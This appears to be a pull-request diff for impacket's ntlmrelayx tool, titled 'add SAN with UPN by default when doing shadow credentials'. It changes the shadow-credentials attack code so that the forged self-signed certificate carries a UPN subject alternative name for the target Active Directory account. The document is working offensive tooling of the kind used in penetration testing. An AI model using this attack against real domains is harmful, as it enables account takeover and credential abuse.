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add SAN with UPN by default when doing shadow credentials #111

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add SAN with UPN by default when doing shadow credentials #111

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2 changes: 1 addition & 1 deletion impacket/examples/ntlmrelayx/attacks/ldapattack.py
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Original file line number Diff line number Diff line change
Expand Up @@ -284,7 +284,7 @@ def shadowCredentialsAttack(self, domainDumper):
LOG.info("Target user found: %s" % target_dn)

LOG.info("Generating certificate")
key,certificate = shadow_credentials.createSelfSignedX509Certificate(subject=currentShadowCredentialsTarget, nBefore=(-40 * 365), nAfter=(40 * 365))
key,certificate = shadow_credentials.createSelfSignedX509Certificate(subject=currentShadowCredentialsTarget, nBefore=(-40 * 365), nAfter=(40 * 365), domain=domain)
LOG.info("Certificate generated")
LOG.info("Generating KeyCredential")
keyCredential = shadow_credentials.KeyCredential(certificate,key,deviceId=shadow_credentials.getDeviceId(),currentTime=shadow_credentials.getTicksNow())
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11 changes: 9 additions & 2 deletions impacket/examples/ntlmrelayx/utils/shadow_credentials.py
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Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
from struct import pack
from Cryptodome.Util.number import long_to_bytes
from Cryptodome.PublicKey import RSA
from OpenSSL.crypto import PKey, X509, TYPE_RSA
from OpenSSL.crypto import PKey, X509, TYPE_RSA, X509Extension
import OpenSSL
import base64
import uuid
Expand All @@ -28,13 +28,20 @@ def getTicksNow():
def getDeviceId():
return uuid.uuid4().bytes

def createSelfSignedX509Certificate(subject,nBefore,nAfter,kSize=2048):
def createSelfSignedX509Certificate(subject,nBefore,nAfter,kSize=2048, domain=""):
key = PKey()
key.generate_key(TYPE_RSA,kSize)

certificate = X509()

certificate.get_subject().CN = subject

if domain != "":
certificate.set_version(2)
upn_extension = f"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:{subject}@{domain}".encode('utf-8')
subjectAltName = X509Extension(b"subjectAltName", False, upn_extension)
certificate.add_extensions([subjectAltName])

certificate.set_issuer(certificate.get_subject())
certificate.gmtime_adj_notBefore(nBefore)
certificate.gmtime_adj_notAfter(nAfter)
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